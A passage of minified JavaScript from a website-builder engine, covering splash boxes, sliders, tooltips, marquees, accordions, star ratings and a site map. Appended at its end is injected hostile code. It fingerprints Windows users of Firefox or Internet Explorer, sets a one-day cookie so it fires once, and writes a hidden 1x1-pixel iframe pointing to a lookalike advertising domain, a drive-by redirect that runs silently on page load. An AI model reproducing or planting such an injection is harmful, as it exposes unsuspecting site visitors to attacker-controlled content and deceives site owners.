"top-left":b={left:a.margin,top:a.margin}}e.css(b)},c=function(){e.fadeOut(200,function(){e.remove();x5engine.utils.imSoundLink.Stop()})};_jq("body").append('<div id="imSplashBox"><div style="text-align: right; "><div id="imClose"><img src="res/imClose.png" /></div></div><div id="splashContent" style="overflow: hidden;"><img /></div></div>');""!=a.sound&&null!=a.sound&&x5engine.utils.imSoundLink.Play(a.sound);var e= _jq("#imSplashBox");e.fadeOut(0);e.css({zIndex:x5engine.settings.zIndex.splashBox});a.shadow&&(e.css("box-shadow","0px 3px 7px #000"),e.css("-webkit-box-shadow","0px 3px 7px #000"),e.css("-moz-box-shadow","0px 3px 7px #000"));_jq("#splashContent img").first().load(function(){setTimeout(function(){_jq(this).unbind("load");e.fadeIn(0);cWidth=_jq("#imSplashBox").outerWidth();cHeight=_jq("#imSplashBox").outerHeight();e.fadeOut(0);d();_jq(window).resize(d);_jq("#imClose img").click(c);_jq("#splashContent img").click(function(){location.href= a.link});a.cookie&&_jq.imCookie("im_splash","true",{expires:0});switch(a.effect){case "fromtop":e.css({top:-_jq(window).height()-cHeight});e.fadeIn(0);e.animate(b,500);break;case "frombottom":e.css({top:_jq(window).height()+cHeight});e.fadeIn(0);e.animate(b,500);break;case "fromleft":e.css({left:-cWidth});e.fadeIn(0);e.animate(b,500);break;case "fromright":e.css({left:cWidth+_jq(window).width()});e.fadeIn(0);e.animate(b,500);break;case "fade":e.fadeIn(500);break;default:e.fadeIn(0)}},500)});_jq("#splashContent img").attr("src", a.image)},imSlider:{Horizontal:function(a){var b=_jq(a+" .imGlContent"),d=_jq(a+" .imRunner");_jq(a);var c=0;_jq(a+" .imLeftArrow").not(".hiddenArrow").click(function(){c=20<=c+b.innerWidth()?0==d.innerWidth()%b.innerWidth()?-d.innerWidth()+b.innerWidth():-d.innerWidth()+d.innerWidth()%b.innerWidth():c+b.innerWidth();d.animate({left:c})});_jq(a+" .imRightArrow").not(".hiddenArrow").click(function(){c=-c<d.width()-b.innerWidth()?c-b.innerWidth():0;d.animate({left:c})})},Vertical:function(a){var b= _jq(a+" .imGlContent"),d=_jq(a+" .imRunner");_jq(a);var c=0;d.css({marginTop:-5});_jq(a+" .imTopArrow").click(function(){c=10<=c+b.innerHeight()?0==d.innerHeight()%b.innerHeight()?-d.innerHeight()+b.innerHeight():-d.innerHeight()+d.innerHeight()%b.innerHeight():c+b.innerHeight();d.animate({top:c})});_jq(a+" .imBottomArrow").click(function(){c=-c<d.height()-b.innerHeight()?c-b.innerHeight():0;d.animate({top:c})})},Page:function(a){var b=_jq(a),d=_jq(a+" .imSPage"),c=_jq(a+" .imRunner"),e=0;c.width(d.length* d.width());b.append('<div class="imSControls"><p class="imPPrev">&lt;</p><p class="imPNext">&gt;</p></div>');var h=_jq(a+" .imSControls");h.css({"-moz-border-top-left-radius":10,"-moz-border-top-right-radius":10,"-moz-border-bottom-right-radius":0,"-moz-border-bottom-left-radius":0,"-webkit-border-top-left-radius":10,"-webkit-border-top-right-radius":10,"-webkit-border-bottom-right-radius":0,"-webkit-border-bottom-left-radius":0,"border-top-left-radius":10,"border-top-right-radius":10,"border-bottom-right-radius":0, "border-bottom-left-radius":0,color:"black"});h.fadeTo(0,0.9);_jq(a+" .imPPrev").click(function(){e=0<e+d.width()?-c.width()+d.width():e+d.width();c.animate({left:e})});_jq(a+" .imPNext").click(function(){e=e-d.width()<-c.width()+d.width()?0:e-d.width();c.animate({left:e})});b.mouseleave(function(){h.stop(!0,!0);h.animate({bottom:-h.height()-50})});b.mouseover(function(){h.stop(!0,!0);h.animate({bottom:0})})}},imTip:{constants:{locked:"imFixedTip",classId:"imTip",arrowClassId:"imTipArrow",borderClassId:"imTipArrowBorder"}, Show:function(a,b){var d=null,c=!1,e=null,h=200,g="top",f=!1,i=x5engine.utils.createId(x5engine.imTip.constants.classId),j="",k="",a=_jq(a);0<a.find("img").length&&a.find("img").outerHeight()>a.outerHeight()&&(a=a.find("img"));(""==_jq(a).attr("id")||null==_jq(a).attr("id"))&&_jq(a).attr("id",x5engine.utils.createId(x5engine.imTip.constants.classId+"_target"));b.borderRadius=b.borderRadius||x5engine.settings.imTip.borderRadius;b.classes=b.classes||x5engine.settings.imTip.classes;if(null==b.shadow)b.shadow= x5engine.settings.imTip.shadow;if(null==b.arrow)b.arrow=x5engine.settings.imTip.arrow;b.position=b.position||x5engine.settings.imTip.position;b.effect=b.effect||x5engine.settings.imTip.effect;b.showTail=b.showTail||x5engine.settings.imTip.showTail;if(null==b.hideOnFocus)b.hideOnFocus=!1;if(null==b.persistant)b.persistant=x5engine.settings.imTip.persistant;if(null==b.unique)b.unique=x5engine.settings.imTip.unique;if(""==b.text||null==b.text){if(b.text=a.attr("title"),null==b.text&&(a=a.find("[title]")), null!=a)b.text=a.attr("title")}else 0<a.find("[title]").length&&(a=a.find("[title]"));k=a.attr("alt");j=a.attr("title");a.attr("title","").attr("alt","");b.text=b.text.replace(/&amp;/g,"&");b.text=b.text.replace(/&lt;/g,"<");b.text=b.text.replace(/&gt;/g,">");b.text=b.text.replace(/&quot;/g,'"');var o=function(){if(!f){var g=_jq("[tiptarget="+_jq(a).attr("id")+"]");if(0==g.length)if(g='<div id="'+i+'_wrapper"><div tiptarget="'+_jq(a).attr("id")+'" class="'+x5engine.imTip.constants.classId+" "+b.classes+ '" id="'+i+'">'+b.text+(b.showTail?'<div class="'+x5engine.imTip.constants.borderClassId+'"></div><div class="'+x5engine.imTip.constants.arrowClassId+'"></div>':"")+"</div></div>",_jq("#imPage").append(g),e=_jq("#"+i),f=!0,null!=b.width&&void 0!=b.width&&e.width(b.width),e.find("object").each(function(){e.css({height:Math.max(_jq(this).height(),40)})}),e.fadeOut(0),e.css({zIndex:x5engine.settings.zIndex.tip}),b.arrow||(e.find("."+x5engine.imTip.constants.arrowClassId).fadeOut(),e.find("."+x5engine.imTip.constants.borderClassId).fadeOut()), 0!=b.borderRadius&&(e.css("-webkit-border-radius",b.borderRadius),e.css("-moz-border-radius",b.borderRadius),e.css("border-radius",b.borderRadius)),b.shadow&&(e.css("box-shadow","0px 0px 5px #888"),e.css("-webkit-box-shadow","0px 0px 5px #888"),e.css("-moz-box-shadow","0px 0px 5px #888")),_jq(a).mouseleave(r),e.mouseleave(r),e.mouseenter(q),_jq(a).mouseenter(q),clearTimeout(d),c=!1,0<e.find("img").length){var j=e.find("img"),g=j.attr("src");j.attr("src","null");j.load(function(){j.unbind("load"); var a=l(b.position,e);p(a,e)});j.attr("src",g)}else g=l(b.position,e),p(g,e);else null!=g&&-1==g.html().indexOf(b.text)&&g.find("."+x5engine.imTip.constants.borderClassId).before("<br />"+b.text)}},l=function(c,d,e){var f,j,h=_jq(a).offset(),i=_jq("#imPage").offset(),e=e||0;h.top-=_jq(a).scrollTop()+i.top;h.left-=_jq(a).scrollLeft()+i.left;var i=null,k=10;b.showTail&&(i=d.find("."+x5engine.imTip.constants.arrowClassId).css("border-bottom-width"),i=parseInt(i.substring(0,i.length-2)),k=d.find("."+ x5engine.imTip.constants.borderClassId).css("border-bottom-width"),parseInt(k.substring(0,k.length-2)));k=d.css("background-color");if(3<e)return c=(d.width()-i/3)/2,d.find("."+x5engine.imTip.constants.arrowClassId).css({borderLeftColor:"transparent",borderRightColor:"transparent",borderBottomColor:"transparent",borderTopColor:k,position:"absolute",left:c,bottom:-2*i+1}),d.find("."+x5engine.imTip.constants.borderClassId).css({borderLeftColor:"transparent",borderRightColor:"transparent",borderBottomColor:"transparent", position:"absolute",left:c,bottom:-2*i}),d.css("position","fixed"),[_jq(window).width()/2,_jq(window).height()/2];if("top"==c){g="top";if(0>h.top-d.outerHeight()-2*i-10-_jq(window).scrollTop())return l("bottom",d,e+1);j=h.left+(_jq(a).outerWidth()-d.outerWidth())/2;f=h.top-d.outerHeight()-2*i;0>j&&(j=10);j+d.outerWidth()>_jq(window).width()&&(j=_jq(window).width()-d.outerWidth()-10);c=(d.width()-i/3)/2;d.find("."+x5engine.imTip.constants.arrowClassId).css({borderLeftColor:"transparent",borderRightColor:"transparent", borderBottomColor:"transparent",borderTopColor:k,position:"absolute",left:c,bottom:-2*i+1});d.find("."+x5engine.imTip.constants.borderClassId).css({borderLeftColor:"transparent",borderRightColor:"transparent",borderBottomColor:"transparent",position:"absolute",left:c,bottom:-2*i})}else if("bottom"==c){g="bottom";if(h.top+_jq(a).outerHeight()+2*i-_jq(window).scrollTop()>_jq(window).height())return l("left",d,e+1);j=h.left+(_jq(a).width()-d.width())/2;f=h.top+_jq(a).outerHeight()+10;0>j&&(j=10);j+d.outerWidth()> _jq(window).width()&&(j=_jq(window).width()-d.outerWidth()-10);c=(d.width()-i/3)/2;d.find("."+x5engine.imTip.constants.arrowClassId).css({borderLeftColor:"transparent",borderRightColor:"transparent",borderTopColor:"transparent",borderBottomColor:k,position:"absolute",left:c,top:-2*i+1});d.find("."+x5engine.imTip.constants.borderClassId).css({borderLeftColor:"transparent",borderRightColor:"transparent",borderTopColor:"transparent",position:"absolute",left:c,top:-2*i})}else if("left"==c){if(0>h.left- d.outerWidth()-_jq(window).scrollLeft())return l("top",d,e+1);j=h.left-d.outerWidth()-2*i;f=h.top+(_jq(a).outerHeight()-d.outerHeight())/2;if(0>f-_jq(window).scrollTop())return l("bottom",d,e+1);if(f+d.outerHeight()-_jq(window).scrollTop()>_jq(window).height())return l("top",d,e+1);d.find("."+x5engine.imTip.constants.arrowClassId).css({borderRightColor:"transparent",borderBottomColor:"transparent",borderTopColor:"transparent",borderLeftColor:k,position:"absolute",right:-2*i+1,top:d.outerHeight()/ 2-i});d.find("."+x5engine.imTip.constants.borderClassId).css({borderRightColor:"transparent",borderBottomColor:"transparent",borderTopColor:"transparent",position:"absolute",right:-2*i,top:d.outerHeight()/2-i})}else if("right"==c){if(h.left+_jq(a).outerWidth()+d.outerWidth()-_jq(window).scrollLeft()>_jq(window).width())return l("top",d,e+1);j=h.left+_jq(a).outerWidth()+2*i;f=h.top+(_jq(a).outerHeight()-d.outerHeight())/2;if(0>f-_jq(window).scrollTop())return l("bottom",d,e+1);if(f+d.outerHeight()- _jq(window).scrollTop()>_jq(window).height())return l("top",d,e+1);d.find("."+x5engine.imTip.constants.arrowClassId).css({borderLeftColor:"transparent",borderBottomColor:"transparent",borderTopColor:"transparent",position:"absolute",borderRightColor:k,left:-2*i+1,top:d.outerHeight()/2-i});d.find("."+x5engine.imTip.constants.borderClassId).css({borderLeftColor:"transparent",borderBottomColor:"transparent",borderTopColor:"transparent",position:"absolute",left:-2*i,top:d.outerHeight()/2-i})}return[f, j]},p=function(c,d){if(_jq(a).hasClass(x5engine.imTip.constants.locked))switch(b.effect){case "fade":d.css({top:c[0],left:c[1]});d.fadeIn();break;case "bounce":"top"==g?d.css({top:c[0]-50,left:c[1]}):d.css({top:c[0]+50,left:c[1]});d.fadeIn(100);d.animate({top:c[0],left:c[1]},600,"imBounce");break;default:d.css({top:c[0],left:c[1]}),h=0,d.fadeIn(0)}},q=function(){clearTimeout(d);c=!1},r=function(){b.persistant||(clearTimeout(d),d=setTimeout(n,250),c=!0)},n=function(){clearTimeout(d);c&&(_jq(a).removeClass(x5engine.imTip.constants.locked), null!=e&&(e.stop(),e.find("object, embed").remove(),e.fadeOut(h,function(){e.remove();f=!1;_jq(a).attr("title",j);_jq(a).attr("alt",k)})))};(function(){var d=_jq("[tiptarget="+_jq(a).attr("id")+"]");if(0==d.length||0<d.length&&-1==d.html().indexOf(b.text))b.unique&&0<_jq("."+x5engine.imTip.constants.classId).length&&(_jq("."+x5engine.imTip.constants.classId).remove(),h=0),_jq(a).addClass(x5engine.imTip.constants.locked),c=!1,o();if(null!=b.hideOnFocus)if("boolean"==typeof b.hideOnFocus&&!0==b.hideOnFocus)_jq(a).hasClass("imDatePickerIcon")? (_jq(a).parent().prev("input[type=text]").focus(function(){c=!0;_jq(a).removeClass(x5engine.imForm.constants.mark);n()}),_jq(a).click(function(){_jq(a).parent().prev("input[type=text]").focus()})):_jq(a).click(function(){c=!0;_jq(a).removeClass(x5engine.imForm.constants.mark);n()});else if("object"==typeof b.hideOnFocus||"string"==typeof b.hideOnFocus)_jq(b.hideOnFocus).click(function(){c=!0;_jq(b.hideOnFocus).removeClass(x5engine.imForm.constants.mark);_jq(a).removeClass(x5engine.imForm.constants.mark); n()}),_jq(a).click(function(){c=!0;_jq(a).removeClass(x5engine.imForm.constants.mark);_jq(b.hideOnFocus).removeClass(x5engine.imForm.constants.mark);n()})})();return i}},imMarquee:function(a){a.direction=a.direction||"up";a.easing=a.easing||"linear";a.speed=a.speed||2E3;a.bounce=a.bounce||!1;a.type=a.type||"inner";var b=_jq(a.object),d=b.html();b.empty().append('<div class="imRoller">'+d+"</div>");b.css({position:"relative",overflow:"hidden"});var c=_jq(a.object+" .imRoller");c.css("position","relative"); var e=function(){var d;switch(a.direction){case "up":d="inner"==a.type?b.innerHeight()-c.outerHeight():b.innerHeight();c.css({top:d});break;case "BOTTOM":d="inner"==a.type?0:-c.outerHeight();c.css({top:d});break;case "right":d="inner"==a.type?0:-c.outerWidth();c.css({left:d});break;case "left":d="inner"==a.type?b.innerWidth()-c.outerWidth():b.innerWidth(),c.css({left:d})}},h=function(){var d;if(a.bounce)switch(a.direction){case "up":a.direction="BOTTOM";break;case "BOTTOM":a.direction="up";break; case "left":a.direction="right";break;case "right":a.direction="left"}e();switch(a.direction){case "up":d="inner"==a.type?0:-c.outerHeight();c.animate({top:d},a.speed,a.easing,function(){h()});break;case "BOTTOM":d="inner"==a.type?b.innerHeight()-c.outerHeight():b.innerHeight();c.animate({top:d},a.speed,a.easing,function(){h()});break;case "right":d="inner"==a.type?b.innerWidth()-c.outerWidth():b.innerWidth();c.animate({left:d},a.speed,a.easing,function(){h()});break;case "left":d="inner"==a.type? 0:-c.outerWidth(),c.animate({left:-c.outerWidth()},a.speed,a.easing,function(){h()})}};h()},imBgStretch:function(a,b){null==b&&(b=!0);var d=null,c=null,e=function(){null==c&&(c=g.width()/g.height());_jq(window).width();_jq(window).height();var a,b,d;a=_jq(window).width();b=_jq(window).width()/c;b<_jq(window).height()&&(b=_jq(window).height(),a=_jq(window).height()*c);_jq(window).height();d=(_jq(window).width()-a)/2;h.css({width:a,height:b,top:0,left:d});g.css({width:a,height:b})};_jq(".imBgStretcher").remove(); _jq("body").prepend('<div class="imBgStretcher"><img /></div><div class="imBgStretcher imBgWrap">&nbsp;</div>');var h=_jq(".imBgStretcher"),g=_jq(".imBgStretcher img");h.css({position:"fixed",top:0,left:0,zIndex:0,overflow:"hidden",backgroundColor:"transparent"});_jq(".imBgWrap").css("z-index",0);_jq("#imFooterBg").css({position:"relative"});g.load(e);_jq(window).resize(function(){b?e():(null!=d&&clearTimeout(d),d=setTimeout(e,100))});g.attr("src",a)},imAccordion:function(a,b){var d=null,c=null,e= function(a,b){b=b||400;d=d||a.css("padding");c=c||a.height();a.css({padding:0,overflow:"hidden"});a.animate({height:0,padding:0},b)},h=function(a,b){a.css({padding:d,overflow:"hidden"});a.animate({height:c},b)};e(_jq(a+" .imAccContent"),1);for(var g=0;g<_jq(a+" li").length;g++)_jq(a+" li:eq("+g+")").attr("id",x5engine.utils.createId("imAccLi"));null!=b&&h(_jq(a+" li:eq("+b+") .imAccContent"),1);_jq(a+" li").click(function(){if(0==_jq(this).find(".imAccContent").height()){for(var b=0;b<_jq(a+" li").length;b++)_jq(a+ " li:eq("+b+")").attr("id")!=_jq(this).attr("id")&&e(_jq(a+" li:eq("+b+") .imAccContent"));h(_jq(this).find(".imAccContent"))}else e(_jq(this).find(".imAccContent"))})},imStarRating:function(a,b){var d=null,c,e=function(){null!=d&&clearTimeout(d);var c=_jq(this).attr("class");c.match(/imStarRating\[([0-9]*)\]/);for(var c=RegExp.$1,e=0;e<b;e++)e<c?_jq("#"+a+"_star"+(e+1)).attr("src","res/star_full.png"):_jq("#"+a+"_star"+(e+1)).attr("src","res/star_empty.png")},h=function(){d=setTimeout(function(){for(var c= 0;c<b;c++)_jq("#"+a+"_star"+(c+1)).attr("src","res/star_empty.png")},50)},g=function(){var c=_jq(this).attr("class");c.match(/imStarRating\[([0-9]*)\]/);c=RegExp.$1;(null==_jq.imCookie(a)||!1==_jq.imCookie(a))&&_jq.ajax({url:window.location.href,type:"POST",data:{value:c,scale:b,id:a},success:function(){_jq.imCookie(a,"y");window.location.href=window.location.href}})};for(c=0;c<b;c++)_jq("#"+a+"_star"+(c+1)).mouseover(e),_jq("#"+a+"_star"+(c+1)).mouseleave(h),_jq("#"+a+"_star"+(c+1)).click(g)},imGrid:{cell:function(a){var b, d,c,e,h,g=!1,f=function(){b=_jq(a).offset().top;d=b+_jq(a).outerHeight()},i=function(){c=_jq(a).offset().left;e=c+_jq(a).outerWidth()};this.height=function(b){if(null==b)return _jq(a).height();_jq(a).height(b-(_jq(a).outerHeight()-_jq(a).height()))};this.pushY=function(b){_jq(a).css("top").match(/^([0-9]+)[a-z]*$/);var c=1*RegExp.$1,c=c+b;_jq(a).css("top",c+"px")};this.html=function(b){if(null==b)return _jq(a).html();_jq(a).html(b)};this.isAbsolute=function(a){if(null==a)return g;g=a};this.sy=function(){f(); return b};this.ey=function(){f();return d};this.sx=function(){i();return c};this.ex=function(){i();return e};_jq(a).offset();h=function(){var b=_jq(a).css("height");_jq(a).css("height","auto");var c=_jq(a).height();0<_jq(a).find("[class*=imCpt]").not("iframe").length&&(c+=30);_jq(a).css("height",b);return c}();_jq(a).height()<h&&_jq(a).height(h)},init:function(){if(x5engine.settings.imGrid.enabled){var a=[],b=[],d,c,e=_jq("#imFooPad"),h,g;if(0<e.length)g=e.offset(),g=g.top,h=g+e.innerHeight();_jq("[class*=imGrid]").each(function(){var c= _jq(this).attr("class"),d,e,f=!1;/imGrid\[[0-9]+,\s*[0-9]+[,]*\s*[0-9]*\]/.test(c)&&(c.match(/imGrid\[([0-9]+),\s*([0-9]+)[,]?\s*([0-9]*)\]/),c=1*RegExp.$1,d=1*RegExp.$2,1==1*RegExp.$3&&(f=!0),null==a[d]&&(a[d]=[]),null==b[c]&&(b[c]=[]),e=new x5engine.imGrid.cell(_jq(this)),e.isAbsolute(f),a[d][a[d].length]=e,b[c][b[c].length]=e)});for(d=0;d<a.length;d++)if(null!=a[d]){var f=0;for(c=0;c<a[d].length;c++){if(a[d][c].isAbsolute()&&0!=d)for(c2=0;c2<a[d-1].length;c2++){var i=a[d-1][c2],j=a[d][c];i.ey()> j.sy()&&(i.sx()<j.ex()||i.ex()>j.sx())&&j.pushY(i.ey()-j.sy())}a[d][c].ey()>f&&(f=a[d][c].ey())}for(c=0;c<a[d].length;c++)a[d][c].height(f-a[d][c].sy())}0<e.length&&(f>h?e.remove():e.height(h-g-f-(0<_jq("#imBtMn").length?_jq("#imBtMn").outerHeight():0)))}}},imAccess:{showLogout:function(){_jq(".imLogout").empty();x5engine.utils.isOnline()?null!=_jq.imCookie("im_access_cookie_uid")&&""!=_jq.imCookie("im_access_cookie_uid")&&_jq(".imLogout").append('<a class="imLogoutLink" href="res/imlogout.php">'+ x5engine.l10n.getLocalization("private_area_logout")+"</a>"):_jq(".imLogout").append('<a class="imLogoutLink" href="#">'+x5engine.l10n.getLocalization("private_area_logout")+"</a>")}},imSearch:{current:null,Load:function(){_jq("#imSearchWebPages, #imSearchBlog, #imSearchProducts, #imSearchImages, #imSearchVideos").fadeOut(0);_jq("#imSearchWebPages, #imSearchBlog, #imSearchProducts, #imSearchImages, #imSearchVideos").first().fadeIn(0);x5engine.imSearch.current="#"+_jq("#imSearchWebPages, #imSearchBlog, #imSearchProducts, #imSearchImages, #imSearchVideos").first().attr("id"); 2>_jq("#imSearchWebPages, #imSearchBlog, #imSearchProducts, #imSearchImages, #imSearchVideos").length&&(_jq("#imSearchSideBar").hide(0),_jq("#imSearchContent").css({width:"100%"}))},Show:function(a){a!=x5engine.imSearch.current&&_jq("#imSearchWebPages, #imSearchBlog, #imSearchProducts, #imSearchImages, #imSearchVideos").fadeOut(1,function(){_jq(a).fadeIn(0);x5engine.imSearch.current=a});return!1}},imSiteMap:{toggleLevel:function(a){a=_jq(a);_jq(a).next(".imSiteMap").slideToggle("medium","swing",function(){0< _jq(a).next("ul:visible").length?_jq(a).children("img").attr("src","res/imfolder_open.gif"):_jq(a).children("img").attr("src","res/imfolder_closed.gif")});return!1},foldAll:function(){_jq("#imContent > ul").find(".imSiteMap").slideUp("medium","swing",function(){_jq(this).prev("span").children("img").attr("src","res/imfolder_closed.gif")});return!1},unfoldAll:function(){_jq("#imContent > ul").find(".imSiteMap").slideDown("medium","swing",function(){_jq(this).prev("span").children("img").attr("src", "res/imfolder_open.gif")});return!1}}};var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
